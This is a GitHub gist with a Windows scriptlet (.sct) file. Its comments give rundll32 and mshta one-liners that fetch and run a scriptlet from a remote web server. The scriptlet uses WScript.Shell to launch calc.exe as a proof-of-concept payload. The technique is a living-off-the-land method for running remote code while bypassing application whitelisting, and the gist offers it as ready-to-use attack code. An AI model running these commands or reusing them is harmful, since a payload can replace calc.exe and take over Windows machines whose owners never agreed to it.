Skip to content

Instantly share code, notes, and snippets.

@manilz
Last active March 16, 2023 06:25
Show Gist options
  • Select an option

  • Save manilz/28fbd79586d8003f6f7788d1acac689b to your computer and use it in GitHub Desktop.

Select an option

Save manilz/28fbd79586d8003f6f7788d1acac689b to your computer and use it in GitHub Desktop.
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment